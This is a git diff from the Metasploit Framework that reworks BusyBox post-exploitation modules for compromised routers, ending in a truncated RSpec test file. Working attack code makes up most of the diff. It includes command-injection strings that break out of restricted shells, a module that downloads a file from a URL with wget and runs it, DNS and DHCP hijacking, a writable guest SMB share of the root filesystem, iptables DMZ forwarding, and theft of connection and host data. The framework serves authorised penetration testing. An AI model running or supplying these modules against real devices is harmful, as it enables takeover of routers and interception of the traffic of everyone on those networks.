Merge pull request #1 from jvazquez-r7/review_5722

Code review and cleanup for Busybox PR
bug/bundler_fix
Vallejocc 2015-09-04 18:45:53 +02:00
commit 4cdbabdde7
21 changed files with 755 additions and 611 deletions

View File

@ -2,5 +2,5 @@
module Msf::Post::Linux module Msf::Post::Linux
require 'msf/core/post/linux/priv' require 'msf/core/post/linux/priv'
require 'msf/core/post/linux/system' require 'msf/core/post/linux/system'
require 'msf/core/post/linux/busybox' require 'msf/core/post/linux/busy_box'
end end

View File

@ -0,0 +1,110 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf
class Post
module Linux
module BusyBox
include ::Msf::Post::Common
include ::Msf::Post::File
# Checks if the file exists in the target
#
# @param file_path [String] the target file path
# @return [Boolean] true if files exists, false otherwise
# @note Msf::Post::File#file? doesnt work because test -f is not available in busybox
def busy_box_file_exist?(file_path)
contents = read_file(file_path)
if contents.nil? || contents.empty?
return false
end
true
end
# Checks if the directory is writable in the target
#
# @param dir_path [String] the target directory path
# @return [Boolean] true if target directory is writable, false otherwise
def busy_box_is_writable_dir?(dir_path)
res = false
rand_str = Rex::Text.rand_text_alpha(16)
file_path = "#{dir_path}/#{rand_str}"
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}")
Rex::sleep(0.3)
rcv = read_file(file_path)
if rcv.include?("#{rand_str}XXX#{rand_str}")
res = true
end
cmd_exec("rm -f #{file_path}")
Rex::sleep(0.3)
res
end
# Checks some directories that usually are writable in devices running busybox
# @return [String] If the function finds a writable directory, it returns the path. Else it returns nil
def busy_box_writable_dir
dirs = %w(/etc/ /mnt/ /var/ /var/tmp/)
dirs.each do |d|
return d if busy_box_is_writable_dir?(d)
end
nil
end
# Writes data to a file
#
# @param file_path [String] the file path to write on the target
# @param data [String] the content to be written
# @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite
# the target file
# @return [Boolean] true if target file is writable and it was written. Otherwise, false.
# @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because
# of it is necessary to implement an specific method.
def busy_box_write_file(file_path, data, prepend = false)
if prepend
dir = busy_box_writable_dir
return false unless dir
cmd_exec("cp -f #{file_path} #{dir}tmp")
Rex::sleep(0.3)
end
rand_str = Rex::Text.rand_text_alpha(16)
cmd_exec("echo #{rand_str} > #{file_path}")
Rex::sleep(0.3)
unless read_file(file_path).include?(rand_str)
return false
end
cmd_exec("echo \"\"> #{file_path}")
Rex::sleep(0.3)
lines = data.lines.map(&:chomp)
lines.each do |line|
cmd_exec("echo #{line.chomp} >> #{file_path}")
Rex::sleep(0.3)
end
if prepend
cmd_exec("cat #{dir}tmp >> #{file_path}")
Rex::sleep(0.3)
cmd_exec("rm -f #{dir}tmp")
Rex::sleep(0.3)
end
true
end
end # Busybox
end # Linux
end # Post
end # Msf

View File

@ -1,92 +0,0 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf
class Post
module Linux
module Busybox
include ::Msf::Post::File
#
#Checks if the target file exists
#@param file_path [String] the target file path
#@note file? doesnt work because test -f is not implemented in busybox
#@return [Boolean] True if files exists, otherwise false
#
def file_exists(file_path)
s = read_file(file_path)
if s and s.length
return true
end
return false
end
#
#Checks if the target directory is writable
#@param directory_path [String] the target directory path
#@return [Boolean] True if target directory is writable, otherwise false
#
def is_writable_directory(directory_path)
retval = false
rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr}
file_path = directory_path + "/" + rand_str
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}"); Rex::sleep(0.3)
rcv = read_file(file_path)
if rcv.include? (rand_str+"XXX"+rand_str)
retval = true
end
cmd_exec("rm -f #{file_path}"); Rex::sleep(0.3)
return retval
end
#
#Checks if the target file is writable and writes or append to the file the data given as parameter
#@param file_path [String] the target file path
#@param data [String] the content to be written to the file
#@param append [Boolean] if true, append data to the target file. Otherwise, overwrite the target file
#@note BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for this reason it is necessary to implement an specific function
#@return [Boolean] True if target file is writable and it was written. Otherwise, false.
#
def is_writable_and_write(file_path, data, append)
if append
writable_directory = get_writable_directory()
return false if not writable_directory
cmd_exec("cp -f #{file_path} #{writable_directory}tmp"); Rex::sleep(0.3)
end
rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr}
cmd_exec("echo #{rand_str} > #{file_path}"); Rex::sleep(0.3)
if read_file(file_path).include? rand_str
cmd_exec("echo \"\"> #{file_path}"); Rex::sleep(0.3)
lines = data.lines.map(&:chomp)
lines.each do |line|
cmd_exec("echo #{line.chomp} >> #{file_path}"); Rex::sleep(0.3)
end
if append
cmd_exec("cat #{writable_directory}tmp >> #{file_path}"); Rex::sleep(0.3)
cmd_exec("rm -f #{writable_directory}tmp"); Rex::sleep(0.3)
end
return true
else
return false
end
end
#
#Checks some directories that usually are writable in devices running busybox
#@return [String] If the function finds a writable directory, it returns the path. Else it returns nil
#
def get_writable_directory()
writable_directory = nil
writable_directory = "/etc/" if is_writable_directory("/etc")
writable_directory = "/mnt/" if (!writable_directory && is_writable_directory("/mnt"))
writable_directory = "/var/" if (!writable_directory && is_writable_directory("/var"))
writable_directory = "/var/tmp/" if (!writable_directory && is_writable_directory("/var/tmp"))
return writable_directory
end
end # Busybox
end # Linux
end # Post
end # Msf

View File

@ -0,0 +1,61 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::BusyBox
FILES = [
'/proc/net/nf_conntrack',
'/proc/net/ip_conntrack',
'/proc/net/tcp',
'/proc/net/udp',
'/proc/net/arp',
'/proc/fcache/*'
]
def initialize
super(
'Name' => 'BusyBox Enumerate Connections',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It will
enumerate the connections established with the router or device executing BusyBox.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
found = false
print_status('Searching for files that store information about network connections')
FILES.each do |f|
if busy_box_file_exist?(f)
found = true
print_good("Connections File found: #{f}.")
read_connection_file(f)
end
end
print_error('Any file with connections found') unless found
end
def read_connection_file(file)
begin
str_file=read_file(file)
vprint_line(str_file)
p = store_loot('busybox.enum.connections', 'text/plain', session, str_file, file, 'BusyBox Device Network Established Connections')
print_good("Connections saved to #{p}")
rescue EOFError
print_error("Nothing read from file #{file}, file may be empty")
end
end
end

View File

@ -0,0 +1,53 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::BusyBox
def initialize
super(
'Name' => 'BusyBox Enumerate Host Names',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It will enumerate
host names related to the device executing BusyBox.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
print_status('Searching hosts files...')
if busy_box_file_exist?('/var/hosts')
hosts_file = '/var/hosts'
elsif busy_box_file_exist?('/var/udhcpd/udhcpd.leases')
hosts_file = '/var/udhcpd/udhcpd.leases'
else
print_error('Files not found')
return
end
read_hosts_file(hosts_file)
end
def read_hosts_file(file)
begin
str_file=read_file(file)
print_good("Hosts File found: #{file}.")
vprint_line(str_file)
p = store_loot('busybox.enum.hosts', 'text/plain', session, str_file, file, 'BusyBox Device host names')
print_good("Hosts saved to #{p}.")
rescue EOFError
print_error("Nothing read from file: #{file}, file may be empty.")
end
end
end

View File

@ -0,0 +1,68 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
METHODS = [
'cat xx || sh',
'ping || sh',
'echo `sh >> /dev/ttyp0`',
'ping `sh >> /dev/ttyp0`',
'cat `sh >> /dev/ttyp0`',
'cat xx;sh',
'echo xx;sh',
'ping;sh',
'cat xx | sh',
'ping | sh',
'cat ($sh)',
'cat xx &amp;&amp; sh',
'echo xx &amp;&amp; sh',
'ping &amp;&amp; sh'
]
def initialize
super(
'Name' => 'BusyBox Jailbreak ',
'Description' => %q{
This module will send a set of commands to a open session that is connected to a
BusyBox limited shell (i.e. a router limited shell). It will try different known
tricks to jailbreak the limited shell and get a full BusyBox shell.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
res = false
METHODS.each do |m|
res = try_method(m)
break if res
end
print_error('Unable to jailbreak device shell') unless res
end
def try_method(command)
vprint_status("jailbreak sent: #{command}")
session.shell_write("#{command}\n")
(1..10).each do
resp = session.shell_read
vprint_status("jailbreak received: #{resp}") unless resp.nil? || resp.empty?
if resp.downcase.include?('busybox') && resp.downcase.include?('built-in shell')
print_good("Jailbreak accomplished with #{command}")
return true
end
end
false
end
end

View File

@ -0,0 +1,42 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
def initialize
super(
'Name' => 'BusyBox Ping Network Enumeration',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It will ping a range
of IP addresses from the router or device executing BusyBox.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
register_options(
[
OptAddressRange.new('RANGE', [true, 'IP range to ping'])
], self.class)
end
def run
results = ''
Rex::Socket::RangeWalker.new(datastore['RANGE']).each do |ip|
vprint_status("Checking address #{ip}")
results << cmd_exec("ping -c 1 #{ip}")
end
p = store_loot('busybox.enum.network', 'text/plain', session, results, 'ping_results.txt', 'BusyBox Device Network Range Enumeration')
print_good("Results saved to #{p}.")
end
end

View File

@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
def initialize
super(
'Name' => 'BusyBox DMZ Configuration',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It allows to manage
traffic forwarding to a target host through the BusyBox device.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
register_options([
OptAddress.new('TARGET_HOST', [ true, 'The address of the target host']),
OptBool.new('DELETE', [true, 'Remove host from the DMZ, otherwise will add it', false])
], self.class)
end
def run
if datastore['DELETE']
print_status("Deleting #{datastore['TARGET_HOST']} from DMZ")
vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
else
print_status("Adding #{datastore['TARGET_HOST']} to DMZ")
vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
end
vprint_status(cmd_exec('iptables --list'))
end
end

View File

@ -0,0 +1,81 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::BusyBox
def initialize
super(
'Name' => 'BusyBox DNS Configuration',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It allows
to set the DNS server on the device executing BusyBox so it will be sent by the
DHCP server to network hosts.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
register_options(
[
OptAddress.new('DNS', [ true, 'The dns server address' ])
], self.class)
end
def run
print_status("Searching for files to modify dns server.")
if busy_box_file_exist?('/etc/resolv.conf')
modify_resolv_conf
end
if busy_box_file_exist?('/etc/udhcpd.conf')
modify_udhcpd_conf
end
end
def modify_resolv_conf
print_status('File /etc/resolv.conf found')
if busy_box_write_file('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false)
print_good('DNS server added to resolv.conf')
end
end
def modify_udhcpd_conf
print_status('File /etc/udhcpd.conf found')
if busy_box_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true)
restart_dhcpd('/etc/udhcpd.conf')
else
print_status('Unable to write udhcpd.conf, searching a writable directory...')
writable_directory = busy_box_writable_dir
if writable_directory
print_status("Copying the original udhcpd.conf to #{writable_directory}tmp.conf")
cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf")
Rex::sleep(0.3)
print_status("Adding DNS to #{writable_directory}tmp.conf")
busy_box_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
restart_dhcpd("#{writable_directory}tmp.conf")
else
print_error('Writable directory not found')
end
end
end
def restart_dhcpd(conf)
print_status('Restarting udhcp server')
cmd_exec('killall dhcpd')
# in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command
# that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd
# process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>"
session.shell_write("dhcpd #{conf} &\n")
print_good('udhcpd.conf modified and DNS server added. DHCPD restarted')
end
end

View File

@ -0,0 +1,59 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::BusyBox
def initialize
super(
'Name' => 'BusyBox SMB Sharing',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It will modify
the SMB configuration of the device executing BusyBox to share the root directory of
the device.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
print_status('Checking smb.conf...')
if busy_box_file_exist?('/var/samba/smb.conf')
print_status('smb.conf found, searching writable directory...')
writable_directory = busy_box_writable_dir
if writable_directory
print_status('writable directory found, copying smb.conf and restarting smbd')
copy_smb_conf(writable_directory)
else
print_error('Writable directory not found')
end
else
print_error('smb.conf not found')
end
end
def copy_smb_conf(dir)
cmd_exec_delay("rm -f #{dir}smb.conf")
cmd_exec_delay("cp -f /var/samba/smb.conf #{dir}smb.conf")
cmd_exec_delay("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{dir}smb.conf")
cmd_exec_delay('killall smbd')
cmd_exec_delay("smbd -D -s #{dir}smb.conf")
cmd_exec_delay("smbd -D -s=#{dir}smb.conf")
end
def cmd_exec_delay(command)
res = cmd_exec(command)
vprint_status(res)
Rex.sleep(0.1)
end
end

View File

@ -0,0 +1,54 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::BusyBox
def initialize
super(
'Name' => 'BusyBox Download and Execute',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It will use wget to
download and execute a file from the device running BusyBox.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
register_options(
[
OptString.new('URL', [true, 'Full URL of file to download'])
], self.class)
end
def run
print_status('Searching a writable direcotry...')
writable_directory = busy_box_writable_dir
if writable_directory
print_status('Writable directory found, downloading file...')
random_file_path = "#{writable_directory}#{Rex::Text.rand_text_alpha(16)}"
cmd_exec("wget -O #{random_file_path} #{datastore['URL']}")
Rex::sleep(0.1)
if busy_box_file_exist?(random_file_path)
print_good('File downloaded, executing...')
cmd_exec("chmod 777 #{random_file_path}")
Rex::sleep(0.1)
res = cmd_exec("sh #{random_file_path}")
vprint_status(res)
else
print_error('Unable to download file')
end
else
print_error('Writable directory not found')
end
end
end

View File

@ -1,58 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Busybox
def initialize
super(
'Name' => 'BusyBox Enumerate Connections',
'Description' => 'This module will be applied on a session connected
to a BusyBox sh shell. The script will enumerate
the connections established by the hosts connected
to the router or device executing BusyBox.',
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://vallejo.cc']
],
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
found = false
conns_files =[
"/proc/net/nf_conntrack", "/proc/net/ip_conntrack", "/proc/net/tcp", "/proc/net/udp", "/proc/net/arp", "/proc/fcache/*"
]
vprint_status("Searching for files that store information about network connections.")
conns_files.each do |conns_file|
if file_exists(conns_file)
found = true
print_good("Connections File found: #{conns_file}.")
begin
str_file=read_file(conns_file)
vprint_line(str_file)
#Store file
p = store_loot("Connections", "text/plain", session, str_file, conns_file, "BusyBox Device Network Established Connections")
print_good("Connections saved to #{p}.")
rescue EOFError
# If there's nothing in the file, we hit EOFError
print_error("Nothing read from file #{conns_file}, file may be empty.")
end
end
end
if found == false
print_error("Nothing read from connection files, files may be empty.")
end
end
end

View File

@ -1,55 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Busybox
def initialize
super(
'Name' => 'BusyBox Enumerate Hosts',
'Description' => 'This module will be applied on a session connected
to a BusyBox sh shell. The script will enumerate
the hosts connected to the router or device executing
BusyBox.',
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://vallejo.cc']
],
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
hosts_file = nil
if file_exists("/var/hosts")
hosts_file = "/var/hosts"
elsif file_exists("/var/udhcpd/udhcpd.leases")
hosts_file = "/var/udhcpd/udhcpd.leases"
else
vprint_error("Files not found: /var/hosts, /var/udhcpd/udhcpd.leases.")
return
end
#File exists
begin
str_file=read_file(hosts_file)
print_good("Hosts File found: #{hosts_file}.")
vprint_line(str_file)
#Store file
p = store_loot("Hosts", "text/plain", session, str_file, hosts_file, "BusyBox Device Connected Hosts")
print_good("Hosts saved to #{p}.")
rescue EOFError
# If there's nothing in the file, we hit EOFError
print_error("Nothing read from file: #{hosts_file}, file may be empty.")
end
end
end

View File

@ -1,53 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
def initialize
super(
'Name' => 'BusyBox Ping Network',
'Description' => 'This module will be applied on a session connected
to a BusyBox sh shell. The script will ping a range of
ip adresses from the router or device executing BusyBox.',
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://vallejo.cc']
],
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
register_options(
[
OptAddress.new('IPRANGESTART', [ true, "The first ip address of the range to ping.", nil ]),
OptAddress.new('IPRANGEEND', [ true, "The last ip address of the range to ping.", nil ])
], self.class)
end
#
#This module executes the ping command from the BusyBox connected shell for a given range of ip addresses. The
#results will be stored in loots
#
def run
full_results = ""
(IPAddr.new(datastore['IPRANGESTART'])..IPAddr.new(datastore['IPRANGEEND'])).map(&:to_s).each do |current_ip_address|
print_status("Doing ping to the address #{current_ip_address}.")
full_results << cmd_exec("ping -c 1 #{current_ip_address}")
end
#storing results
p = store_loot("Pingnet", "text/plain", session, full_results, "#{datastore['IPRANGESTART']}"+"-"+"#{datastore['IPRANGEEND']}", "BusyBox Device Network Range Pings")
print_good("Pingnet results saved to #{p}.")
end
end

View File

@ -1,64 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
def initialize
super(
'Name' => 'BusyBox Jailbreak ',
'Description' => 'This module will send a set of commands to a open
session that is connected to a BusyBox limited shell
(i.e. a router limited shell). It will try different
known tricks to try to jailbreak the limited shell and
get a full sh busybox shell.',
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://vallejo.cc']
],
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
bfound = false
bfound = try_command("cat xx || sh\n","1_1") unless bfound
bfound = try_command("ping || sh\n","1_2") unless bfound
bfound = try_command("echo `sh >> /dev/ttyp0`\n","2_1") unless bfound
bfound = try_command("ping `sh >> /dev/ttyp0`\n","2_2") unless bfound
bfound = try_command("cat `sh >> /dev/ttyp0`\n","2_3") unless bfound
bfound = try_command("cat xx;sh\n","3_1") unless bfound
bfound = try_command("echo xx;sh\n","3_2") unless bfound
bfound = try_command("ping;sh\n","3_3") unless bfound
bfound = try_command("cat xx | sh\n","4_1") unless bfound
bfound = try_command("ping | sh\n","4_2") unless bfound
bfound = try_command("cat ($sh)\n","5_1") unless bfound
bfound = try_command("echo ($sh) xx\n","5_2") unless bfound
bfound = try_command("ping ($sh)\n","5_3") unless bfound
bfound = try_command("cat xx &amp;&amp; sh\n","6_1") unless bfound
bfound = try_command("echo xx &amp;&amp; sh\n","6_2") unless bfound
bfound = try_command("ping &amp;&amp; sh\n","3_3") unless bfound
print_error("Unable to jailbreak device shell.") if !bfound
end
def try_command(param_command, method_number)
vprint_status("jailbreak sent: #{param_command}.")
session.shell_write(param_command)
(1..10).each do
resp = session.shell_read()
vprint_status("jailbreak received: #{resp}.")
if ((resp.include? "BusyBox") && (resp.include? "Built-in shell"))
vprint_status("Done method " + method_number + ".")
return true
end
end
return false
end
end

View File

@ -1,46 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
def initialize
super(
'Name' => 'BusyBox Set Dmz',
'Description' => 'This module will be applied on a session connected
to a BusyBox sh shell. The script will enable or disable dmz
to a network host in the router or device executing BusyBox.',
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://vallejo.cc']
],
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
register_options([
OptAddress.new('TARGETHOST', [ true, "The address of the host to be target for the dmz", nil ]),
OptBool.new('DELETE', [false, "If this option is set to true, the DMZ is removed. Else it is added.", false])
], self.class)
end
def run
if datastore['DELETE'] == true
vprint_status("Executing iptables to delete dmz.")
vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGETHOST']} -j ACCEPT"))
else
vprint_status("Executing iptables to add dmz.")
vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGETHOST']} -j ACCEPT"))
end
if datastore['VERBOSE']
vprint_status(cmd_exec("iptables --list"))
end
print_good("Dmz modified. Enable verbose for additional information.")
end
end

View File

@ -1,85 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Busybox
def initialize
super(
'Name' => 'BusyBox Set Dns',
'Description' => 'This module will be applied on a session connected
to a BusyBox sh shell. The script will set dns addresses
to the router or device executing BusyBox to be sent
by dhcp server to network hosts.',
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://vallejo.cc']
],
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
register_options(
[
OptAddress.new('SRVHOST', [ true, "The dns server address.", nil ])
], self.class)
end
#
#The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update
#udhcpd.conf too, with SRVHOST dns address, that should be given to network's hosts via dhcp
#
def run
workdone = false
vprint_status("Searching for files to modify dns server.")
if file_exists("/etc/resolv.conf")
vprint_status("Resolv.conf found.")
if is_writable_and_write("/etc/resolv.conf", "nameserver #{datastore['SRVHOST']}", false)
print_good("Dns server added to resolv.conf.")
workdone = true
end
end
if file_exists("/etc/udhcpd.conf")
vprint_status("Udhcpd.conf found.")
original_content = read_file("/etc/udhcpd.conf")
vprint_status("Original udhcpd.conf content:")
vprint_status(original_content)
if is_writable_and_write("/etc/udhcpd.conf", "option dns #{datastore['SRVHOST']}", true)
vprint_status("Udhcpd.conf is writable. Relaunching udhcp server:")
cmd_exec("killall dhcpd")
#in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command
#that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd
#process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>"
session.shell_write("dhcpd /etc/udhcpd.conf &\n")
print_good("Udhcpd.conf modified and dns server added. Dhcpd restarted.")
else
vprint_status("Unable to write udhcpd.conf. Trying to copy the file to a writable directory.")
writable_directory = get_writable_directory()
if writable_directory
vprint_status("writable directory found, creating a copy of the original udhcpd.conf.")
cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf"); Rex::sleep(0.3)
is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
vprint_status("Relaunching udhcp server:")
cmd_exec("killall dhcpd")
session.shell_write("dhcpd #{writable_directory}tmp.conf &\n")
print_good("Udhcpd.conf copied to writable directory and dns server added. Dhcpd restarted.")
workdone = true
else
vprint_error("Writable directory not found.")
end
end
end
if !workdone
print_error("Unable to modify dns server.")
end
end
end

View File

@ -1,54 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Busybox
def initialize
super(
'Name' => 'BusyBox Smb Share Root',
'Description' => 'This module will be applied on a session connected
to a BusyBox sh shell. The script will modify the
smb configuration of the the router or device executing
BusyBox to share the root directory of the device.',
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://vallejo.cc']
],
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
vprint_status("Trying to find smb.conf.")
if read_file("/var/samba/smb.conf").length > 0 #file? doesnt work because test -f is not implemented in busybox
vprint_status("Smb.conf found.")
vprint_status("Trying to find writable directory.")
writable_directory = get_writable_directory()
if writable_directory
vprint_status("writable directory found, copying smb.conf.")
vprint_status(cmd_exec("rm -f #{writable_directory}smb.conf")); Rex::sleep(0.1)
vprint_status(cmd_exec("cp -f /var/samba/smb.conf #{writable_directory}smb.conf")); Rex::sleep(0.1)
vprint_status(cmd_exec("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{writable_directory}smb.conf")); Rex::sleep(0.1)
vprint_status(cmd_exec("killall smbd")); Rex::sleep(0.1)
vprint_status(cmd_exec("smbd -D -s #{writable_directory}smb.conf")); Rex::sleep(0.1)
vprint_status(cmd_exec("smbd -D -s=#{writable_directory}smb.conf")); Rex::sleep(0.1)
print_good("Smb configuration has been modified.")
else
print_error("Writable directory not found.")
end
else
print_error("Smb.conf not found.")
end
end
end

View File

@ -1,60 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Busybox
def initialize
super(
'Name' => 'BusyBox Wget and Exec',
'Description' => 'This module will be applied on a session connected
to a BusyBox sh shell. The script will use wget to download
a file to the router or device executing BusyBox and then
it executes the download file.',
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://vallejo.cc']
],
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
register_options(
[
OptString.new('URL', [true, 'Full URL of file to download.'])
], self.class)
end
#
#The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update
#udhcpd.conf too, with SRVHOST dns address, that should be given to network's hosts via dhcp
#
def run
vprint_status("Trying to find writable directory.")
writable_directory = get_writable_directory()
if writable_directory
vprint_status("writable directory found, downloading file.")
rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr}
random_file_path = writable_directory + rand_str
cmd_exec("wget -O #{random_file_path} #{datastore['URL']}"); Rex::sleep(0.1)
if file_exists(random_file_path)
print_good("File downloaded using wget. Executing it.")
cmd_exec("chmod 777 #{random_file_path}"); Rex::sleep(0.1)
vprint_status(cmd_exec("sh #{random_file_path}"))
else
print_error("Unable to download file.")
end
else
print_error("Writable directory not found.")
end
end
end

View File

@ -0,0 +1,185 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/post/linux/busy_box'
describe Msf::Post::Linux::BusyBox do
subject do
mod = ::Msf::Module.new
mod.extend described_class
mod
end
describe "#busy_box_file_exist?" do
describe "when file exists" do
before :each do
allow(subject).to receive(:read_file) do
'test data'
end
end
it "returns true" do
expect(subject.busy_box_file_exist?('/etc/passwd')).to be_truthy
end
end
describe "when file doesn't exist" do
before :each do
allow(subject).to receive(:read_file) do
''
end
end
it "returns false" do
expect(subject.busy_box_file_exist?('/etc/nonexistent')).to be_falsey
end
end
end
describe "#busy_box_is_writable_dir?" do
before :each do
allow(subject).to receive(:cmd_exec) do
''
end
end
describe "when dir is writable" do
before :each do
allow(subject).to receive(:read_file) do
"#{'A' * 16}XXX#{'A' * 16}"
end
allow(Rex::Text).to receive(:rand_text_alpha) do
'A' * 16
end
end
it "returns true" do
expect(subject.busy_box_is_writable_dir?('/tmp/')).to be_truthy
end
end
describe "when dir isn't writable" do
before :each do
allow(subject).to receive(:read_file) do
''
end
end
it "returns false" do
expect(subject.busy_box_is_writable_dir?('/etc/')).to be_falsey
end
end
end
describe "#busy_box_writable_dir" do
before :each do
